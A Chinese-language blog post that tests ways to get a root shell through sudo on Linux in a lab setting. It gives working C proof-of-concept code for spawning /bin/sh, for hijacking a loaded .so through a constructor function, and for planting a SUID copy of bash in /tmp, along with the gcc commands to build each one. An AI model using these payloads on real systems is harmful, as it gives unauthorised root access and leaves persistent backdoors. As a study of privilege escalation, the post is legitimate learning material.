Linux下透過C語言取得root的sudo提權手法分析

前言

這篇文章主要是分享與探討關於 Sudo 權限提升的一些測試跟POC

案例都是建立在具有 sudo 的權限來執行一個 c 語言編譯過後的 binary 檔案

最終目的都是啟動一個具有 root 權限的 /bin/sh shell

※注意※
文章探討的是 sudo 提權方法,並不是 SUID 提權

這邊不詳細解釋兩者差異

會進行這一串小小的測試,重點其實主要是在範例三跟範例四的緣故

某次練習一台靶機時,提權手法是透過 sudo 權限提升

透過主程式執行時會載入一個外部可控的 .so 檔案

所以可以透過自行編譯的 .so 檔案來進行提權

不過在網路上參考別人的 write-up 的時候

發現他們使用了範例四當中 chmod +s 的手法

但我覺得好像沒甚麼意義,應該直接執行 /bin/bash 就可以取得 root shell

也就是範例三的部分

的確後來證實也是可以成功的,順便就一併測試與紀錄相關思路跟Payload

範例說明

提醒一:
測試時,使用一般的使用者帳戶 kali
且該 kali 使用者對於執行檔具有 sudo 權限

提醒二:
測試時,在程式碼裡面執行的是 /bin/sh
主要是因為原本的shell就是bash,透過執行sh會讓畫面比較明顯有區別
實際上要調用哪一種shell都是可以的

提醒三:
測試時,在程式碼裡面執行的 curl 是作為偽裝一個原本程序功能測試而已
實際上沒甚麼意義,拿掉也沒關係

範例一:程式碼 – run_sh.c

主程式執行
run_sh.c

#include <unistd.h>
int main() {
    char *args[] = {"/bin/sh", NULL};
    execv("/bin/sh", args);
    return 0;
}
gcc run_sh.c -o run_sh

結論,可正常執行,且使用sudo可以提權

範例二:程式碼 – libreshell.c

主程式載入 .so,且調用 function

main.c

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int main() {
    // 執行 curl 命令
    system("curl -I <http://google.com>");
    // 載入 libshell.so
    void *handle = dlopen("./libshell.so", RTLD_LAZY);
    if (!handle) {
        fprintf(stderr, "Cannot load libshell.so: %s\\n", dlerror());
        return 1;
    }
    // 獲取 launch_shell 函數的指標
    void (*launch_shell)() = dlsym(handle, "launch_shell");
    if (!launch_shell) {
        fprintf(stderr, "Cannot find function launch_shell: %s\\n", dlerror());
        dlclose(handle);
        return 1;
    }
    // 執行 launch_shell 函數
    launch_shell();
    // 關閉動態鏈接庫
    dlclose(handle);
    return 0;
}

libreshell.c

#include <unistd.h>
void launch_shell() {
    char *args[] = {"/bin/sh", NULL};
    execv("/bin/sh", args);
}

compile

gcc main.c -o main -ldl
gcc -shared -fPIC -o libshell.so libshell.c

結論,以上方式執行main

可正常執行,且使用 sudo可以提權

只是這一段有幾個問題,必須載入 .so / 宣告function / 執行function

main裡面要有宣告函數,不然會有錯誤

└─$ gcc main.c -o main -ldl
main.c: In function ‘main’:
main.c:17:5: warning: implicit declaration of function ‘launch_shell’ [-Wimplicit-function-declaration]
   17 |     launch_shell();
      |     ^~~~~~~~~~~~
/usr/bin/ld: /tmp/ccUGs7Tf.o: in function `main':
main.c:(.text+0x69): undefined reference to `launch_shell'
collect2: error: ld returned 1 exit status

另外,在main裡面是有執行so的function的

也就是這一段

// 執行 launch_shell 函數
    launch_shell();

如果以上沒有滿足,則無法觸發,取得shell(提權)

範例三:程式碼 – injectshell.c

mainx.c (跟剛剛的main做個名稱區別)

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int main() {
    // 執行 curl 命令
    system("curl -I <http://google.com>");
    // 載入 injectshell.so
    void *handle = dlopen("./injectshell.so", RTLD_LAZY);
    if (!handle) {
        fprintf(stderr, "Cannot load injectshell.so: %s\\n", dlerror());
        return 1;
    }
    // 關閉動態鏈接庫
    dlclose(handle);
    return 0;
}

injectshell.c

#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
    system("/bin/sh");
}

compile

gcc mainx.c -o mainx -ldl
gcc -shared -fPIC -o injectshell.so injectshell.c

結論,以上方式執行mainx

可正常執行,且使用sudo可以提權

這個與上面範例2的方法有幾點不同的地方

首先只需要load so檔就可以執行

因為我們宣告了

static void inject() __attribute__((constructor));

所以不必在mainx裡面去宣告與執行function,我們的shell也會被執行

__attribute__((constructor)) 屬性。這個屬性指示編譯器,當這個庫被加載到一個程序中時(例如通過 dlopen 調用或在程序啟動時自動加載),inject 函數應該在 main 函數執行之前自動執行。

範例四:程式碼 – injectsuidshell.c

mainy.c (就是mainx裡面的so檔名改成injectsuidshell)

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int main() {
    // 執行 curl 命令
    system("curl -I <http://google.com>");
    // 載入 injectsuidshell.so
    void *handle = dlopen("./injectsuidshell.so", RTLD_LAZY);
    if (!handle) {
        fprintf(stderr, "Cannot load injectsuidshell.so: %s\\n", dlerror());
        return 1;
    }
    // 關閉動態鏈接庫
    dlclose(handle);
    return 0;
}

injectsuidshell.c

#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

compile.

gcc mainy.c -o mainy -ldl
gcc -shared -fPIC -o injectsuidshell.so injectsuidshell.c

這個方法利用sudo執行mainy,當然也是可以正常提權

不過這一個範例要測試的其實是SUID的意義

也就是這一段

system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

因為我之前使用sudo或是SUID取得shell

都是採用 system("/bin/bash"); 的方法而已

剛好有看到別人使用了這一串cp 然後 chmod +s 來去執行shell

想了一下,看得出來他想做甚麼

但不是真的很懂,他這樣做的用意

因為已經是sudo執行(root權限運行process),所以執行bash其實就會是root

不能理解為何要多做一步

如果程式運行的時候是自己本身的權限的話

通過這一步來cp 過去owner也是自己,chmod +s沒有意義,執行時也不會是root權限

但還是拿來測試了一下,確認看看自己的想法沒錯,不用 sudo 執行的話 SUID 沒意義

也或許他有其他考量,這我就不知道了

補充

關於參數:

  • -ldl:這個參數指示編譯器鏈接到 dl 庫(動態鏈接庫)。這個庫提供了動態載入其他共享庫(如 .so 文件)的功能。如果你的代碼中使用了 dlopendlsym 之類的函數來動態載入和使用共享庫,這個參數是必需的。
  • shared:這個參數指示編譯器生成一個共享對象文件(Shared Object,即 .so 文件),它可以被多個程序動態地鏈接和使用。這是創建動態鏈接庫(DLL 在 Linux 系統上的對應物)所必需的。
  • fPIC:這個參數意味著生成“位置獨立的代碼”(Position-Independent Code)。這是創建共享庫所需的,因為共享庫需要能夠被載入到任何記憶體位置並正常工作。

額外補充

因為Facebook上有人詢問,「請問都有sudo權限了,為何還需要提權?」

這個問題其實如果有如果已經有開始學習提權手法或是練習滲透的,可能比較不會有

如果現在還不能理解差異,其實也沒關係,反正未來就會知道了XD

這邊附上我在Facebook那邊的留言回覆

我盡量簡短但詳細回答

1.sudo是可以限制執行的指令與檔案的 (設定/etc/sudoers)
但不少情況是管理員或預設已經具有全部的sudo權限
所以你用sudo -s或sudo su就可以提權
但更安全的主機,或是滲透練習的靶機通常不會這麼輕鬆
或有限制sudo僅能執行特定的指令與檔案

2.主機上如果有限制sudo可以執行的檔案
正常情況使用方式就只能執行該指令
例如假設限制sudo執行只能more指令
一般可能認為就只能查看
但實際上我們可以透過more來取得root bash shell
延伸可參考GTFOBins
https://gtfobins.github.io/

3.所以從文章來說
假設主機限制了你只能用sudo執行
/kali/ctest/run_sh這個檔案
我們就可以建立run_sh這個檔案來提權
不過重點比較放在範例三跟四
因為如果可以sudo執行範例一run_sh(該檔可寫入)
可以達成的方法會更多,也有更簡單的

發佈留言